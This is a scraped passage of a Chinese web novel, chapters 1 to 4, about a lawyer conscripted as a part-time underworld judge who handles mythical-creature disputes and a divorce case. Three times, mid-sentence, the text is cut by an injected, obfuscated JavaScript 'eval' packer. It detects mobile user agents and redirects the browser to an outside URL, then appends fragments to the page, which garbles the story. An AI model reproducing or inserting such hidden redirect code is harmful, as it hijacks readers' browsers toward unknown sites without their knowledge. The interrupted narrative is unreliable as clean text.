《好巧,你也在地府打工》 1. 第 1 章 “砰——” 茶杯重重落在实木桌上,里面的茶水随之洒溅出来,在乌红的桌面淌了一片水渍。 画着浓妆的女人一拍桌子,大声道:“我一定要那个狗男人净身出户!他爹的,花着老娘的钱,还在外面包养小三!我X他八代祖宗。” 女人浑厚的声音在偌大的会议室里回荡,让门口路过的人不禁纷纷停下脚步,通过门缝往里张望。 律师助理小声问道:“这是今天第几个离婚的案子了?” 新来的实习生思考一会:“第三个。” “这才一上午,就三个了!今天是什么日子啊?”律师助理纳闷。 实习生幽幽道:“今天情人节,你是不是忘了?” 律师助理恍然:“难怪。” 两人不约而同地望向会议室里坐在女人对面的年轻男人身上。相比起女人的愤怒,他则显得异常冷静,连面对八卦最基本的情绪都没有。 一侧的阳光从窗户探进,在他身上笼出一层朦胧的光圈。虽说已经入了春,可四九城的天依旧偏凉。剪裁整齐的黑色大衣穿在殷垣身上,勾勒出清瘦笔挺的脊背线条。 离得远,两人都看不出他的表情,只能隐约从他微微低垂的头颅窥探出几分漫不经心。 漫不经心! 实习生邱妍喟叹:“能在当事人面前还发呆的也只有殷律了吧?” 律师助理:“不愧是律所里公认的妇女之友。” 殷垣其实没发呆,他就是有点困。轻薄的眼皮半阖,假装在认真听实则在补觉。 女人说了一会,把心里的苦水全部吐露出来后感觉心情好多了。坐回椅子上,抿口水,问道:“殷律师,你说我让他净身出户的几率大吗?” 殷垣停顿了会才意识到该他说话了,抬头认真道:“还是有希望的,毕竟他是过错方。” 女人看见他脸的时候再次忍不住感慨,但凡她老公要是长得有这律师一半好看,冲着多年夫妻情分,她都能闭只眼给他留点钱,不至于这么赶尽杀绝。 “行,那我知道了。”女人作势要离开。 殷垣暗自松了口气,紧跟着起身,颇为贴心地递过去一张纸巾,“你的袖子被水打湿了,擦擦吧。” 女人这才察觉到手腕那里一片濡湿,将纸巾接到手里,心说人跟人的差距真的比人跟狗的差距都大。 这律师也不知道有没有对象。 女人想试探问问,手机却突然响起来。她接通听了会,眼睛顿时放光,扬起灿烂的笑容:“真的?捉奸在床?太好了,你们在门口守着,我立刻就赶过去。” 她扭头对殷垣匆匆道:“殷律师,明天我再来啊。” 殷垣微笑:“再见。” 人走后,邱妍才敢进来,关心问道:“殷律,您今天是没休息好吗?” 坐回椅子上的殷垣定定望着她,黑白分明的眸子看得邱妍头皮发麻,以为是自己多言了,刚想要找补,却听殷垣仰头闭上了眼睛,恹恹道:“嗯。” 邱妍接话:“那我去给您倒杯水,您歇会。” 她离开后,殷垣对着空气叹气。因为太阳穴隐隐作痛,他细长的眼尾泛着红意,难得流露出点脆弱的意味。 他哪是没休息好,是压根没睡觉。 昨晚,地府无常突然闯进他家里,美其名曰:地府缺公务员,要找活人做兼职。 黑无常冷哼,拿出一本册子,“殷垣是吧?按理来说,你早该死了,却能一直活到现在。呵,你用了什么法子逃过老爷我的法眼的?” 殷垣自小八字就轻,饱受各种鬼怪骚扰,后来被一个云游的道士指点拜了老家的千年古树为干爹才渐渐好转,鲜少再见到鬼怪妖邪这类东西。 可就在上周,他远在S省的干爹被雷劈死了。 殷垣自那时就知道这层保护罩算是被打破了,却不想来得居然这么快。 白无常推了推他,“行了,我们不是来勾你魂的,别紧张。这样,我们做个交易吧。地府判官司缺人,我看你专业正对口,有兴趣来兼职吗?” 京大法学本硕连读的殷垣:“......” 鬼的专业对口,他是律师又不是法官。 黑无常厉声喝道:“府君亲自征调,何人胆敢不从。” 白无常:“也不能这么说,现在建设新地府,大家都提倡平等自由,他也有拒绝的权力。” “我拒绝会怎么样?”殷垣问道。 “那只好把你一起勾走了。”白无常笑眯眯道。 “......” 殷垣无奈,只能硬着头皮答应。 思绪回笼,眼看到了午饭时间,殷垣起身拿上外套往外走。 他没案子的时候也不用天天在办公室坐班,每天来打个卡就能走了。 他打算去他家小区附近的菜市场逛一逛,做顿好吃的安慰一下自己的被迫倒夜班的受伤心灵。 菜市场和花鸟市场是挨在一起的,位于四九城的老城区,里面地上种的,天上飞的,水里游的,只要人想的到的食材这里都有。 当然,刑法书上的动物没有。 殷垣其实来得次数不多,但是不知道为什么这边的老板几乎都认识他。 卖鱼的老板瞧见他时,大老远就开始叫了起来,“欸呦喂,殷律师您来了,今天要吃点啥?咱们这的江团还剩两条,很新鲜,昨天才到的货。来一条不?” 他说着,已经把江团拎了出来。小臂长的一条鱼通体泛着粉意,鱼尾在空中扫来扫去,垂死挣扎。 殷垣看了眼,略一点头:“可以,你处理一下吧。” “好嘞。”王老板干脆利落将鱼敲晕,然后刮鳞剖腹。 给他帮忙的儿子悄悄放下手上的活,走到殷垣旁边,稚气的脸上挂着好奇:“殷律师,偷东西的罪名很严重吗?” “得看偷的什么东西,它的价值多少。” 殷垣不动声色打量这个十六岁左右的少年,问道:“你可以具体说一说。” 男生挠了挠头,压着声音道:“不是我哈。是我的一个朋友,他最近交了个女朋友,但是也有一个男生正在追这个女朋友。所以我朋友为了给那个男生一个教训,就把他的一个东西偷走扔了,现在对方发现了,想要去报官。” “我朋友怕这事闹大,现在很害怕,不知道怎么处理。” 王老板剁鱼敲在砧板上的声音一声大过一声,极有节律。 殷垣沉默了会,“你还是没说偷了什么。” 男生皱着眉,想了半晌才找到一个合适的词:“就是一个非常重要的装备,没有这个装备,他就不能变身。” “……” 殷垣:“你上几年级了?” “高、高二。” 殷垣语重心长:“好好学习,少打游戏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667889|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 男生嘴唇翕张,想要辩解。这时候王老板已经停下手上动作,将切成块的鱼肉给打包好递给殷垣。 “殷律师,鱼好了。您慢走啊。” 等人走后,王老板抓住儿子狐疑问道:“你刚才和殷律师嘀嘀咕咕说什么呢?” 男生心虚的眼睛转了圈,“没说什么,我就问问他律师都要学什么东西。” 王老板眉毛一扬,手掌拍在他肩头,震得男生全身一颤。“好,不愧是我儿子!咱们老王家也该出来个读书人了。” 男生干笑。 那边殷垣又去买了点青菜和豆腐,便回了家。 他洗手做菜,先放油将姜蒜干辣椒煸炒出香味,再下鱼块翻炒,等鱼肉泛白后加入料酒、生抽食盐,最后冰糖提鲜,小火焖半个小时左右就差不多好了。 红烧江团鱼装盘后肉眼可见的肉质软糯,清亮的汁水四溢,香味隔着窗户都能飘上十来米。 殷垣另炒了个青菜,正打算坐下开吃。 有电话打了进来,是他老家那边的亲戚。 说是亲戚其实也没血缘关系,殷垣自幼就跟着父母搬到了四九城定居。 因为工作的特殊性质,他父母很少回S省老家。最近的一次也就是为了让殷垣拜干亲才回去一趟。 后来他父母意外离世,殷垣更是和老家的人没有了联系,这次的电话还是上周回去给古树奔丧时留的。 没有血缘关系的亲戚在电话那头笑道:“小垣,你还记得我吗?我是隔壁家的花姨,上周我们刚见过的。” 殷垣:“我记得,您有事吗?” 花姨笑吟吟道:“我有个表弟,想去四九城发展。但是他什么也不懂,想让你帮忙照顾一下可以吗?” 奔丧期间,殷垣被她帮了不少忙,正巧没时间还人情,听到这干脆应了下来。 “可以,让他来吧,我会去接他。” 他直接应允的态度让花姨愣了一愣,偏头看了眼身边高大的男人,有点迟疑道:“你确定吗?” “嗯。”殷垣道。 花姨笑道:“那太好了,花姨先谢谢你。” 殷垣发了个地址给她。 花姨看着地址,拿着手机在在男人面前晃了晃,“瞅见没,还得是我出手。这孩子小时候,我还抱过呢,我们关系可好了。” 男人淡漠地看了她一眼,记下地址,理直气壮道:“我才是他最亲近的人。” 花姨:“……” “你怎么好意思说你是人的?”花姨翻了个白眼,“别人不知道你的身份,我还不知道?” 男人直直走向屋外。 花姨奇怪问道:“你做什么去?” “办身份证。” …… 当晚,殷垣正看着案宗,平白无故感觉身后一阵阴冷,明亮的灯光蒙上一层灰似的,骤然昏暗下来。 回头,果然是白衣高帽的无常飘在不远处,一手拎着哭丧棒,一手握着锁链,惨白的脸上挂着怪异的笑,说话时自带降温效果:“走吧,咱们上班去。” 殷垣看了看他,再看了看自己。 “我和你是一个单位的?” 白无常一拍头,“忘了说,你属判官司,平常办公就在都城隍庙。喏,这是你的工装。” 他朝殷垣扔过去一身大红色长袍,布料间夹带了根两指粗的黑色腰带。 2. 第 2 章 “一般情况下判官得去泰山那块呆着,但你这是兼职,上级吩咐要灵活就业。你平时就去都城隍庙就行,那里就是你的办公地点。唔......再教你个咒语,‘北帝敕令,缚鬼诛邪,敢有不服者,急急如律令!’。” 一句咒语将殷垣的魂勾出来,等他换完衣服后,白无常继续给他介绍地府事宜,“虽说地府都由酆都那位掌管,但是他老人家已经退居二线,管不了具体的事,所以平时你只要知道包括判官司在内的六案功曹都隶属十殿阎罗就行。他们才是真正的老大。” 殷垣:“我就是个兼职的,不打算长干。” 白无常轻啧:“知不知道现在公务员多吃香,你还瞧不上了。那阴间公务员也是公务员,我们还是发的起工资的。” “......” 殷垣穿着红袍,绯红的布料映在他脸上,衬得俨然比白无常那张死气沉沉的脸多了几分生气。 只是...... 撩起袖子捏了一捏,布料轻薄不说,还粗糙生硬,像纸一样的触感。 殷垣脸色古怪问道:“你们地府制服还有假冒伪劣产品?” 白无常森森笑道:“纸人纸马纸衣裳,我从哪给你找真衣服?” “......” 见殷垣不说话,白无常才道:“行了,别耽误时间,该上路了。” 他这么说,殷垣真有种自己已经死了的错觉,腿都不用迈开,随着意念一动,身体便径直飘向前方。 一直有人说阴间路和阳间路不同,若是有人不小心走错了路,要想回来可就难了。以前的殷垣对此半信半疑,他只见过鬼,至于大名鼎鼎的黄泉路还只从书面看见过。 现在亲身经历一遭,才算真信了。 与人间常见的柏油路不同,阴间这路破破烂烂,坑坑洼洼,路边常有鬼缩成一团躲在墙根底下,即便是有大胆点的鬼远远瞧见白衣高帽的无常来了,也是转身就跑。 就跟老鼠见到猫似的。 殷垣压着想要抽搐的唇角问道:“你之前说要建设新时代地府?” 白无常:“是啊。” 殷垣:“那我的作用是?” “推进法治建设啊。”白无常理所当然,“三界本是一体,不只是地府,就连妖界也得向人间学习。我们老大就去人间上学去了。” 殷垣虚心请教:“妖界是什么?” “成了精的仙家还有一些上古大妖。若是有机会,你会见到的。” 说话间,隐藏在夜里的古朴建筑出现在眼前,两排灯笼悬挂,映着门匾上四个遒劲大字“都城隍庙”。 昏黄的烛光随风跳跃,将地上的光影也带动起来。 宽阔的路上空无一人,静得出奇。 可进去后才知道里面的洞天,几十个鬼吏穿梭在院子里进进出出,还有个和白无常相熟的鬼吏见到他来后,笑着招呼:“老王啊,好久没见你来了。改天一起喝酒去啊。” 白无常:“再说吧,再说吧,今天有正事来的。”说着,他指了指殷垣:“喏,新上任的判官。” 鬼吏一惊,忙着眼打量这个年轻人,看着年纪轻轻的,长得也怪好看,居然死这么早。 不对,居然年纪轻轻就能空降到判官了。 不是地下有人就是能力过人,无论哪种,都不是好得罪的。 这么想着,鬼吏立刻笑容殷切上前打招呼:“哎呦喂,久仰大名、久仰大名,大人来我们判官司真是让我们蓬荜生辉。小的是衙门的鬼吏,您以后有事随意驱使就好。” 殷垣:“那你说说我叫什么名字?” 鬼吏:“......” 殷垣:“......” 虚伪。 做鬼都得打官腔。 鬼吏尬笑道:“大人里面请吧,我带您到处逛逛。” 殷垣退了半步:“别逛了,直接上班得了。” 大半夜的,他还得回去睡觉呢。 鬼吏低眉顺眼称是,引着殷垣往大堂走去。 白无常跟在殷垣旁边,一只胳膊搭到殷垣肩头,神秘兮兮道:“我可没告诉别人你是生魂。这群鬼吏都是老油条子,贯会捧高踩低、拉帮结派,要是他们知道你是生魂的话,就该是其他嘴脸了。” 这么好心? 殷垣狭长的眸子轻斜,问道:“你想要什么?” 白无常羞答答捶了他一拳:“不多,你随便烧几刀纸钱就行。” “......” 白无常领着殷垣到了都城隍庙认完路后,便直接走了。留下殷垣在大堂里看陈年卷宗,鬼吏站在一边解释这堆堪比人高的卷宗:“现在提倡网络信息化,这些老旧的案卷翻阅起来不合适,上面吩咐要将这些录入系统以便调阅。” 殷垣下意识看了眼手上这本书的时间——端朝,昭定十一年,换算成公历纪年法大概是十七世纪初。 “地府......还真是与时俱进。”殷垣唇角抽了抽,把书放了回去。 鬼吏唉声叹气:“虽说地府和人间的互联网公司签订了协议,建了个地府专用服务器吧,但是这些数据实在多,也不知道要做到何年何月。” 万事怕对比,殷垣这么一想,顿时觉得兼职判官也还行。 至少不用一眼看不见头。 鬼吏抱着卷宗离开大堂,做自己的活去了。 眼看没自己的事干,殷垣支着下颌百无聊赖地撑在桌案上,还觉得兼职要是一直是这样清闲也还行。 在哪睡不是睡,离魂睡觉属于深度睡眠,对身体更好。 ... 门外纷乱的脚步声夹杂着吵嚷人声逐渐逼近,隐隐约约听见两拨人在对骂。 “你他丫的居然偷我灵珠,你知不知道它有多珍贵!一百年才出一颗呢,今天要不给我找回来,我现在就把你剁了!” “谁知道那是你的灵珠,我还以为什么玻璃珠子呢。是你自己没收好,怪我喽。” “你——混蛋!” 在劈里啪啦的打斗声中,殷垣慢悠悠醒过神来,还没意识到发生了什么事情时,房顶突然“嘭”地一声被砸穿,一个人从天而降摔在地上。 地面的灰尘随之一震。 殷垣:“!” 趴在地上的男生缓缓撑着地面抬头,露出一张鼻青脸肿的脸。 殷垣感觉他有点眼熟。 王旋感觉自己的五脏肺腑都移了位,呼吸间带着血气,稍微动一动,立即发出痛苦的呻吟。 这也太狠了吧,简直是把人往死里搞。 “呼——”王旋闷咳一声,捂着脸挣扎爬起来,爬到半截突然感觉有道目光。 他下意识回视,高堂上的青年缓缓走下来,身上的红色袍子随着脚步摇曳,一根黑色腰带扎出极细的腰肢,再往上看,苍白的脸上眸如点漆,漂亮得惊心动魄。 王旋这下不止心惊连血都凉了半截,情不自禁喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667890|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃道:“我是真的死了?还是说在做梦?” 这怎么连不该出现在这里的人都出现了! 门口的吵闹的人气势汹汹冲进来,还想继续打架:“妈的,王旋你要是个有种的就别趴地上装死!起来啊,继续打。” 殷垣:“......” 大晚上的城隍庙可真热闹。 顶着头顶不断吹进的冷风,殷垣面无表情问道:“你们是谁?” “你又是——”那人卡了壳,眼睛都看直了,上上下下在殷垣身上打量——红袍黑帽判官笔,这个时候出现在这里的。 不是判官又是谁? 王旋这时候从地上爬起来,捂着流血不止的鼻子,惊诧道:“殷律师?” 鹿离茫然四顾,缓缓道:“啊?” 王旋这小子被打瞎了?连判官都认不出来。 总算想起来这个眼熟的人是谁的殷垣:“......” 几分钟后,殷垣坐回工位,看着两个十六七岁模样的男生互扯头花,争先告状。 “是他先偷我东西的!” “明明就是你自己不保管好重要物品,我哪知道这是灵珠!你还打了我呢,知不知道打人的罪名更重!” “我打你就打你,谁让你欠打。” “法盲——”王旋白眼一翻,冲着殷垣道:“殷律师,您看他,我这脸上身上被他打的,还有这屋子,这么大个洞呢!” “你、你、你恶人先告状!”鹿离气得全身都在抖,几乎控制不住自己的形态,头上逐渐长出来个角。 “?!!”目睹全过程的殷垣。 “我靠,你还想变原型打人!变就变,谁怕你——”王旋撸起袖子,双腿凭空消失在原地,转而变成一条黑色蛇尾在地上盘旋。 殷垣:“!!!” 战火一触即发,在鹿离扑向王旋的霎时间,一根毛笔破空刺向他,几根头发被割断,慢慢飘落地面。 速度之快,惊得鹿离紧急刹车,惊恐地看向殷垣。 “你干什么!” 殷垣指了指左边立在台阶下的两个大字——肃静。 “这是公堂,不是你们打架的地方。用拳头讲不了道理,老老实实陈述案情再说。” 判官笔飞出,紧接着转了个弯又回到殷垣手里,笔尖颤了颤,似乎在冲主人邀功。 这判官笔同样是白无常一起带来的,判官必备两个装备:判官笔、生死簿。殷垣起初还担心自己不会用,不想这判官笔自有灵性,能随心而动,非常好使! 鹿离不敢再乱打架,只得老老实实站在原地说道:“他偷了我的本命灵珠,还给我搞丢了,我打他一顿都算轻的。” 殷垣刚才就想问这俩到底是什么玩意。 鹿离头上灰白色的鹿角,王旋诡异的蛇尾,这能是正常人变出来的吗? 王旋挠了挠头,说道:“嗐,早知道您不是人,我还装什么啊。我是旋龟,他是鹿蜀,就是《山海经》里面记载的那玩意。” 《山海经》里大名鼎鼎的鹿蜀和旋龟,殷垣自然有所耳闻。 只是他怎么也没想到,现代社会居然还有它们的存在。 沉默半晌,殷垣默默问王旋:“你不是说是你朋友偷的东西吗?” 王旋用手比了个心,露出面目狰狞的微笑道:“我跟自己交个朋友。” 殷垣捂脸叹息,他以为自己当律师已经见多世间百态,没想到还是孤陋寡闻了。 3. 第 3 章 鹿离看了会,算是明白了,“你们认识啊?刚才听王旋叫你殷律师?你到底是鬼还是妖?” 殷垣:“......鬼吧。”预制鬼也是鬼,嗯。 鹿离冷哼,“那行,你既然做了判官,就不应该偏私。我不管你们认不认识,今天要是不给我个满意答案,我就——” 他本想说两人一起打,但是瞧见殷垣那张脸,不禁下意识换了个威胁:“我就拆了你们这个城隍庙!” 殷垣其实很想告诉他,拆了办公地对于一个打工人来说就像鱼离开了自行车一样,毫无任何威慑力。 但是,这座城隍庙好歹也是一座古建筑,当然不能随随便便就让他拆了。 殷垣先问鹿离:“你的灵珠市值大概多少钱?” 鹿离:“......我又没卖过,我怎么知道。” 殷垣:“那你说说它的重要性。” 鹿离指着头上的角,“我离开它就不能保持形态,非常非常重要!” 殷垣了然,转而问王旋:“你把人灵珠扔哪了?还能不能找回来?” 王旋心虚地摸了摸鼻子,“我给当成玻璃珠扔到垃圾桶里了。后来才知道这是鹿蜀一族的灵珠,回去再找时,垃圾也没了。应该......找不到了。” 鹿离听到这个就来气:“你手怎么那么欠呢,我明天还要考试,耽误我考试了,你拿什么赔我!” “......” 这话的效果简直石破天惊,王旋本来叉着腰努力绷出的气势顿时破防,发出被学霸震撼到无以言表的惊叹:“都这时候了,你还想着学习!” “作为学生,热爱学习不是天经地义的吗?” “......” 同样高二的王旋心道这对吗? 就连殷垣都被这话震了一震,鹿离身上还穿着白天的蓝白拼色校服,清秀的脸庞上架着一副细框眼镜,如果忽略掉他头上的角的话,还真是三好学生的典型模样,放学校里就是老师校长最喜欢的乖乖孩子,由内而外散发着没有被社会污染的对知识单纯的热爱。 前提是忽略掉他惊人的武力值的话。 “反正我不管,你无论用什么办法都得让我明天能去考试!”鹿离道。 王旋真不理解,要是他能不去考试,脸都能笑烂了。 于是,他向殷垣寻求认同:“殷律师,你说学习就这么重要吗?” 殷垣饱含深意地看着他:“至少学习不会让人成为法盲。” “......” 王旋泄气道:“反正灵珠我是真找不到了,你就算杀了我也没用。” 殷垣有个疑问:“你们父母知道吗?这灵珠难不成世界上就一颗?” “当然不止,但是我爸妈都没在四九城,我一时半会找不到多余的灵珠代替。”鹿离说着对王旋怒目:“本来放在我书包里怎么也不会丢,都怪他。” 王旋心虚将视线移向一旁,如果殷垣不在场,他还能厚着脸皮耍赖,但是殷垣这个律师往这一站,那股代表着法律的威严冲着他扑面袭来,只得老实道:“我还没跟我爸妈说。哎呀,算了,我去把我爸的宝贝拿过来还你得了,绝对比你那什么灵珠好用得多。” 殷垣顿时有种成为班主任,被迫处理学生之间矛盾的责任感,“这事你要和你父母商量,不能偷。” 鹿离:“我先借用一下,等我找到新的灵珠就还你。” 王旋可怜巴巴地看向殷垣:“殷律师,你要是见了我爸千万别提这事。就在上个月,他刚打过我一顿,您要是说了,我就还得挨打。” 听到这,殷垣蹙起眉心,正要说王老板看着和蔼可亲的模样怎么还打孩子。话未出口,便听鹿离冷笑:“上个月你聚众在网吧打架,把人门牙都打掉了,你爸抽你两鞭子而已,你活该。” 殷垣瞥了眼王旋,果然没一顿打是无辜的。 两人的矛盾总算商量出来一个结果,都觉得没事了,转身想离开这里。 身后一道清越的声音叫住他们“等一下”。 鹿离睁着清澈的眼睛问道:“还有事?” 殷垣好整以暇地抱臂看他,“把屋顶给我修好再走。” 人形的大洞抬眼就能看见万里高的夜空,深夜的阴风呼呼吹进来,挂在柱子上的灯笼烛火不停摇曳。 “......我明天还要考试。”鹿离试图挣扎。 “故意损坏公共财物是犯法的,小朋友。” 殷垣觉得自己有必要给这俩小孩上一课别开生动的普法讲堂,“刚才你威胁我要拆了这城隍庙,通过恐吓他人满足私利也是违法行为。现在的刑事年龄已经下调至十六岁,你们俩知道这是什么意思吧?” 鹿离:“……” 旁观的王旋目瞪口呆,靠,能让学霸哑口无言,这就是法律的力量吗? ... 一场小雨自凌晨起就开始下了起来,淅淅沥沥地一直持续到上午九点。湿漉漉的雾气将整座城市笼罩,到处充斥着一股浅淡的土腥味。 青灰色天幕下,一辆银白色C63缓缓驶进写字楼下的停车坪,楼上实习生邱妍抱着咖啡杯蓦然隔着落地窗窥见从车上下来的人,脱口而出:“我靠,这是殷律?” 旁边有人路过,跟着瞥了一眼,明白她惊讶的点在哪,笑容古怪道:“你刚来还不知道,殷律师的背景有点特殊。” 邱妍好奇心一下子被勾了起来:“啊?难不成他是什么超级富二代?” 想着殷垣那张脸,邱妍感觉也不是不可能,看着就很贵气嘛,跟其他累死累活、整天熬夜的律师完全不一样。 同事摇摇头,“那倒不是,四九城有钱人海了去,开个C63还不算什么。再说他父母双亡,谈不上很有钱。我是指他和警察还有法院那边的关系都有点特殊。” 邱妍凑过去,小声问道:“啥意思?我们做律师的跟警察打交道不正常吗?” “啧,一般的律师跟警察算不上什么合作关系,甚至还有点敌对。他不一样,他去警局就跟回老家似的。”同事压低声音,“我们律所很多案子都得走他这层关系,要不就老大那龟毛性格,怎么容忍殷律师天天迟到早退的。” 最终这个话题还是没八卦完,因为在殷垣进律所前,昨天喊着要离婚的女人先他一步进来了。 邱妍作为殷垣手下的实习生,自然得过去接待。 女人叫白素素,今年三十岁,是一个富二代。她轻车熟路地走到昨天来过的会议室里,将一个纸袋重重扔到桌上,里面的一沓照片随之散落出来。 邱妍给她倒水的时候不小心看了两眼,瞬间被上面白花花的□□辣到了双眼,第一次后悔自己的视力这么好,不过她感觉照片上的人还挺眼熟的。 白素素翘起二郎腿,抱臂懒洋洋坐在椅子上,被眼线精致勾勒的眼睛扫了下邱妍,笑吟吟问道:“殷律师没来吗?” 邱妍脑中的记忆还没被清除,僵硬着笑道:“殷律马上就来了,您稍等一会。” 说着,她身后的门已经被推开,殷垣走进来。白素素的眼睛咻地一亮,起身献宝似的笑道:“殷律师,我拿到那个混蛋出轨的证据了,您看看。可以的话,我今天就要拟出来离婚协议让他签了。” 殷垣淡淡颔首,不急不缓地走到对面的位置坐下。 今天下了雨,他进门后身上的湿气便随之吹了进来,瞬间让原本闷的室内空气流通起来。 夹杂着某种香烛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667891|173007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的味道拂至邱妍面上,她顷刻间精神起来,不由得暗自纳闷,这香的味道有点熟悉。 怎么那么像她妈在家拜神烧的线香? “你的证据......”他拿起纸袋翻看起来,即便是看到一张接一张的大尺度照片,也丝毫没有任何表情变化。 照片上都是一男一女,模样气质都很出挑,即便照片有点糊也能看出精致的五官。估计是被拍照的人吓得不轻,两人定格下的表情惊恐诧异,来不及穿衣服的身体就这么大剌剌露了出来。 白素素解释:“我这几天一直让人跟着他们,总算逮到了两人在酒店开房。我就带着人闯进去,用相机拍下这些床照。” 殷垣放下照片,认真地好奇道:“你怎么拿到酒店房卡进去的?” “这有什么,那酒店是我自己家的。”白素素理所当然:“我知道您想说啥,没犯法,没用暴力。我一切都按正常程序来的,谁让他自己没脑子,选了我家的酒店开房。” 殷垣:“如果你能通过协议解决更好,毕竟即便是出轨了,也不能百分百让他净身出户。” 白素素知道这些,一脸认真道:“我要是拿这些照片威胁他,算犯法吗?他是个公众人物,这些照片如果流出去,他肯定完蛋。” 电光石火间,邱妍突然想起来照片上的男人是谁了。 这不是最近靠着一部网剧小火起来的男明星吗?好像叫什么张安宁来着。 殷垣想了想照片上的内容,诚恳道:“就算他是普通人,照片被流出去也得完蛋,而且你也会进去。” 白素素:“......” “哦,那还是算了。整他的办法多的是,我不至于把自己搭上。”白素素继续道:“那您起草一份协议吧,我要他另外赔偿给我精神损失费一共五百万。” 殷垣:“五百万?” 白素素大红色的嘴唇向下一撇:“这还少了,我光给他买房买车都花了将近一千多万,就连他拍的剧都是我投的资。我是有钱,可又不是傻缺,这只是第一步,不让他付出足够代价,我就不姓白!” 邱妍羡慕道:“这人连吃软饭都不会吃啊。” 白素素耳朵贼灵,捕捉到了她的喃喃,目露欣赏:“是吧,老娘长这么好看还有钱,他不跪着伺候我就算了,居然还出轨!” 邱妍狠狠点头。 “......” “咳。”殷垣轻咳,把起草协议的事交给了邱妍,“你按照白小姐的要求写一份离婚协议书出来。” “好的。” “欸,殷律师,您今年多大了?有对象吗?”白素素弯起眼睛笑道。 殷垣挽起袖子,波澜不惊:“你预约的是法律咨询服务,这个不在服务范畴内。” “行吧,行吧。”白素素摊手叹气,“遇上个渣男,我也得缓缓才能寻找下一春。” 邱妍搬着电脑过来,一边写一边问白素素。殷垣盯着邱妍起草的协议,时不时给上调整意见。 ... S省,山城 人头攒动的高铁站门前,花姨亲自开车送柏扶青来到广场前,语重心长问道:“你知道高铁怎么坐吧?不懂的就问工作人员,穿制服的那些人就是工作人员哈。” 柏扶青面无表情,等她说完后才反问道:“我看起来像个傻子?” 花姨:“毕竟是新时代了,你这种从山上下来的和原始人没区别。” 柏扶青懒得跟她多话,推门径直下了车。花姨忽地道:“你记得小殷的模样吧?别认错了人。” 她刚说完,错愕地看着他居然表情一松,勾唇笑了起来,带着怀念来了句莫名其妙的话。 “忘不了,我和他一直同在。” 4. 第 4 章 白素素拿着协议开心离去,并说过两天来通知好消息。 殷垣送她出门前多嘱咐道:“能商量就好好商量,不行就走法院,不要把人逼急了。” 白素素笑笑,并不放心上,反而冲殷垣眨了个Wink,开心道:“改天请你和小邱律师一起吃个饭,就当给我重回单身生活庆祝了。” 殷垣目送她离开,纤瘦的白色身影逐渐消失在朦胧细雨中。 邱妍抱着文件感慨道:“有钱真好,我也想这么潇洒,想跟谁约会就跟谁约会。” “呵。”殷垣哂笑,往她手上的文件看了眼,“法院的电话打通了吗?” “……” 邱妍瞬间回归现实,欲哭无泪。“没有,一直被占线。” “你们俩嘀嘀咕咕做什么呢?”律师主任是个四十出头的中年人,姓柳单名一个裕字,是华南省人,大学在港大硕博连读,在律师这个最看外表的行业里活出了独一份。 柳裕趿着人字拖慢悠悠走过来问道。 邱妍看见主任下意识站直了身体,拘谨地笑笑。 “问你呢?我今天一回来就听说你这几天手上居然一个案子都没有,怎么回事?”柳裕直接忽视她。 殷垣非常理直气壮地回答:“不想接。” 雨滴啪嗒敲到窗户上,静默的气氛一片尴尬。 邱妍有点不安,没想到自己跟着的带教律师居然居然还有这一面。 柳裕和他认识几年倒也摸清了这人的脾气,语重心长道:“我知道你干爹去世了,你心里有点不舒服。但是人总得往前看,你还得生活是不是?趁年轻赶紧把名气打出去,熬一熬稳定下来后一切都好了。” 殷垣正想说话,柳裕却继续道:“你今年也二十七了,还整天孤身一人,看见别人结婚生子就不想吗?” 四十岁就像一个开关,无论男性女性到了这个时间总会无师自通的学会一门基本催婚技能,技能范围包括身边的各种亲人朋友和同事。 殷垣罕见地勾唇上挑出点弧度,带着讥诮的笑,反问道:“你看见别人的葬礼,自己也会想死吗?” “……” 邱妍连忙低头装作听不见,实则已经在心里疯狂咆哮,学到了,学到了,下次遇上催婚就这么说。 柳裕脸色涨得通红。 一只细白的手拍了拍他的肩,殷垣旁若无事道:“开个玩笑,别往心里去。” 那边律师助理拿着电话,站得远远地朝殷垣比划,“殷律,有人来找你。” “知不知道现在是上班时间,什么人都能放进来吗?”柳裕将怒气撒到助理身上,厉声呵斥,将助理吓了一跳,讷讷道:“是一个客户。” 柳裕:“……” 殷垣:“案子这不是来了。” 他迈步离开,示意邱妍一起跟着。 邱妍总算能亲自跟着一个案子了,高兴之色溢于言表,兴致勃勃问道:“殷律,您早就接到了案源了啊?怪不得一直不着急呢。” 殷垣:“我没接。” “啊?”邱妍懵了。 律师助理小声解释:“还是个女士。” 邱妍顿时懂了。 